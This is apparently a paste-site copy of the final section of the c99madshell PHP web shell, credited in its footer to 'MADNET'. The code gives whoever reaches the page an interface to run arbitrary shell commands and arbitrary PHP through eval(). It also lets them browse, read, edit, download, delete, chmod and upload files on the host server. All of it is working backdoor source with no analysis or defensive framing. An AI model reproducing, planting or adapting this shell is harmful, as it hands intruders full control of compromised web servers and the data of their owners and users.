  1167.   else {echo $ret."<br>";}
  1168.   @chdir($olddir);
  1169.  }
  1170.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  1171.  echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".@htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1172. }
  1173. if ($act == "ls")
  1174. {
  1175.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1176.  else
  1177.  {
  1178.   $list = array();
  1179.   if ($h = @opendir($d))
  1180.   {
  1181.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1182.    closedir($h);
  1183.   }
  1184.   else {}
  1185.  }
  1186.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1187.  else
  1188.  {
  1189.   //Building array
  1190.   $objects = array();
  1191.   $vd = "f"; //Viewing mode
  1192.   if ($vd == "f")
  1193.   {
  1194.    $objects["head"] = array();
  1195.    $objects["folders"] = array();
  1196.    $objects["links"] = array();
  1197.    $objects["files"] = array();
  1198.    foreach ($list as $v)
  1199.    {
  1200.     $o = @basename($v);
  1201.     $row = array();
  1202.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1203.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1204.     elseif (is_dir($v))
  1205.     {
  1206.      if (@is_link($v)) {$type = "LINK";}
  1207.      else {$type = "DIR";}
  1208.      $row[] = $v;
  1209.      $row[] = $type;
  1210.     }
  1211.     elseif(@is_file($v)) {$row[] = $v; $row[] = @filesize($v);}
  1212.     $row[] = @filemtime($v);
  1213.     if (!$win)
  1214.     {
  1215.      $ow = @posix_getpwuid(@fileowner($v));
  1216.      $gr = @posix_getgrgid(@filegroup($v));
  1217.      $row[] = ($ow["name"]?$ow["name"]:@fileowner($v))."/".($gr["name"]?$gr["name"]:@filegroup($v));
  1218.     }
  1219.     $row[] = @fileperms($v);
  1220.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1221.     elseif (@is_link($v)) {$objects["links"][] = $row;}
  1222.     elseif (@is_dir($v)) {$objects["folders"][] = $row;}
  1223.     elseif (@is_file($v)) {$objects["files"][] = $row;}
  1224.     $i++;
  1225.    }
  1226.    $row = array();
  1227.    $row[] = "<b>Name</b>";
  1228.    $row[] = "<b>Size</b>";
  1229.    $row[] = "<b>Modify</b>";
  1230.    if (!$win)
  1231.   {$row[] = "<b>Owner/Group</b>";}
  1232.    $row[] = "<b>Perms</b>";
  1233.    $row[] = "<b>Action</b>";
  1234.    $parsesort = parsesort($sort);
  1235.    $sort = $parsesort[0].$parsesort[1];
  1236.    $k = $parsesort[0];
  1237.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1238.    $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
  1239.    $row[$k] .= $y;
  1240.    for($i=0;$i<count($row)-1;$i++)
  1241.    {
  1242.     if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
  1243.    }
  1244.    $v = $parsesort[0];
  1245.    usort($objects["folders"], "tabsort");
  1246.    usort($objects["links"], "tabsort");
  1247.    usort($objects["files"], "tabsort");
  1248.    if ($parsesort[1] == "d")
  1249.    {
  1250.     $objects["folders"] = array_reverse($objects["folders"]);
  1251.     $objects["files"] = array_reverse($objects["files"]);
  1252.    }
  1253.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1254.    $tab = array();
  1255.    $tab["cols"] = array($row);
  1256.    $tab["head"] = array();
  1257.    $tab["folders"] = array();
  1258.    $tab["links"] = array();
  1259.    $tab["files"] = array();
  1260.    $i = 0;
  1261.    foreach ($objects as $a)
  1262.    {
  1263.     $v = $a[0];
  1264.     $o = basename($v);
  1265.     $dir = dirname($v);
  1266.     if ($disp_fullpath) {$disppath = $v;}
  1267.     else {$disppath = $o;}
  1268.     $disppath = str2mini($disppath,60);
  1269.  
  1270.     $uo = urlencode($o);
  1271.     $ud = urlencode($dir);
  1272.     $uv = urlencode($v);
  1273.     $row = array();
  1274.     if ($o == ".")
  1275.     {
  1276.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  1277.      $row[] = "LINK";
  1278.     }
  1279.     elseif ($o == "..")
  1280.     {
  1281.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  1282.      $row[] = "LINK";
  1283.     }
  1284.     elseif (is_dir($v))
  1285.     {
  1286.      if (is_link($v))
  1287.      {
  1288.       $disppath .= " => ".readlink($v);
  1289.       $type = "LINK";
  1290.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
  1291.      else
  1292.      {
  1293.       $type = "DIR";
  1294.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
  1295.      }
  1296.      $row[] = $type;
  1297.     }
  1298.     elseif(is_file($v))
  1299.     {
  1300.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.ft.value='edit';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
  1301.      $row[] = view_size($a[1]);
  1302.     }
  1303.     $row[] = '<a href="#" onclick="document.todo.act.value=\'touch\';document.todo.d.value=\''.$ud.'\';document.todo.f.value=\''.$uo.'\';document.todo.submit();">'.@date("d.m.Y H:i:s",$a[2]).'</a>';
  1304.     if (!$win) {$row[] = $a[3];}
  1305.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
  1306.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1307.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1308.     if (@is_dir($v)){$row[] = $checkbox;}
  1309.     else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='delete';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">X</a>&nbsp;".$checkbox;}
  1310.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1311.     elseif (@is_link($v)) {$tab["links"][] = $row;}
  1312.     elseif (@is_dir($v)) {$tab["folders"][] = $row;}
  1313.     elseif (@is_file($v)) {$tab["files"][] = $row;}
  1314.     $i++;
  1315.    }
  1316.   }
  1317.   //Compiling table
  1318.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1319.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  1320.   foreach($table as $row)
  1321.   {
  1322.    echo "<tr>\r\n";
  1323.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  1324.    echo "</tr>\r\n";
  1325.   }
  1326.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  1327.  
  1328.   <script>
  1329.   function ls_setcheckboxall(status)
  1330.   {
  1331.    var id = 0;
  1332.    var num = ".(count($table)-2).";
  1333.    while (id <= num)
  1334.    {
  1335.     document.getElementById('actbox'+id).checked = status;
  1336.     id++;
  1337.    }
  1338.   }
  1339.   function ls_reverse_all()
  1340.   {
  1341.    var id = 0;
  1342.    var num = ".(count($table)-2).";
  1343.    while (id <= num)
  1344.    {
  1345.     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  1346.     id++;
  1347.    }
  1348.   }
  1349.   </script>
  1350.   <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
  1351.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1352.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1353.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1354.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  1355.   echo "</form>";
  1356.  }
  1357. }
  1358. if ($act == "eval")
  1359. {
  1360.  if (!empty($eval))
  1361.  {
  1362.   echo "<b>Result of execution this PHP-code</b>:<br>";
  1363.   $tmp = ob_get_contents();
  1364.   $olddir = realpath(".");
  1365.   @chdir($d);
  1366.   if ($tmp)
  1367.   {
  1368.    ob_clean();
  1369.    eval($eval);
  1370.    $ret = ob_get_contents();
  1371.    $ret = convert_cyr_string($ret,"d","w");
  1372.    ob_clean();
  1373.    echo $tmp;
  1374.    if ($eval_txt)
  1375.    {
  1376.     $rows = count(explode("\r\n",$ret))+1;
  1377.     if ($rows < 10) {$rows = 10;}
  1378.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1379.    }
  1380.    else {echo $ret."<br>";}
  1381.   }
  1382.   else
  1383.   {
  1384.    if ($eval_txt)
  1385.    {
  1386.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  1387.     eval($eval);
  1388.     echo "</textarea>";
  1389.    }
  1390.    else {echo $ret;}
  1391.   }
  1392.   @chdir($olddir);
  1393.  }
  1394.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  1395.  echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".@htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  1396. }
  1397. if ($act == "f")
  1398. {
  1399.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  1400.  {
  1401.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  1402.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
  1403.  }
  1404.  else
  1405.  {
  1406.         $arr = array(
  1407.    array("HTML","html"),
  1408.    array("TXT","txt"),
  1409.    array("CODE","code"),
  1410.    array("DOWNLOAD","download"),
  1411.    array("EDIT","edit"),
  1412.    array("DELETE","delete")
  1413.   );
  1414.   $r = @file_get_contents($d.$f);
  1415.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(@filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>";
  1416.   foreach($arr as $t)
  1417.   {
  1418. echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";
  1419.    echo " |";
  1420.   }
  1421.   echo "<hr size=\"1\" noshade>";
  1422.  if ($ft == "download")
  1423.   {
  1424.    @ob_clean();
  1425.    header("Content-type: application/octet-stream");
  1426.    header("Content-length: ".filesize($d.$f));
  1427.    header("Content-disposition: attachment; filename=\"".$f."\";");
  1428.    echo($r);
  1429.    c99shexit();
  1430.   } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "html")
  1431.   {
  1432.    if ($white) {@ob_clean();}
  1433.    echo $r;
  1434.    if ($white) {c99shexit();}
  1435.   } elseif ($ft == "code") {
  1436.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  1437.    if (!empty($white)) {@ob_clean();}
  1438.    highlight_file($d.$f);
  1439.    if (!empty($white)) {c99shexit();}
  1440.    echo "</div>";
  1441.   } elseif($ft== 'delete') {
  1442.           if(!fs_rmobj($d.$f)){
  1443.                   echo('<font color="red">Delete error</font>');
  1444.           } else {
  1445.                   echo('<font color="green">Delete succes</font>');
  1446.           }
  1447. } elseif ($ft == "edit") {
  1448.         if (!empty($submit)) {
  1449.                 if(save_file($d.$f, $edit_text)) {
  1450.                         echo('<b>Saved!</b>');
  1451.                 } else {
  1452.                         echo('<b>Can\'t write to file!</b>');
  1453.                 }
  1454.                 $r = $edit_text;
  1455.    }
  1456.    echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"180\" rows=\"25\">".htmlspecialchars($r)."</textarea></form>";
  1457.   }
  1458.  }
  1459. }
  1460. ?>
  1461.  
  1462. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  1463. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: Command execute ::</b></p></td></tr>
  1464. <tr><td width="50%" height="1" valign="top"><center><b>:: Enter ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>:: Select ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  1465. <br>
  1466. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  1467. <tr>
  1468.  <td width="50%" height="1" valign="top"><center><b>:: Search ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  1469.  <td width="50%" height="1" valign="top"><center><b>:: Upload ::</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  1470.  
  1471. </tr>
  1472. </table>
  1473. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  1474. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  1475. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET</u></b> </a> ]--</b></p></td></tr></table>
  1476. </body></html><?php chdir($lastdir); c99shexit();
Submit a correction or amendment below. Make A New Post
To highlight particular lines, prefix each line with @h@
Syntax highlighting:
Post expiration:
Post exposure:
Name / Title:
Email: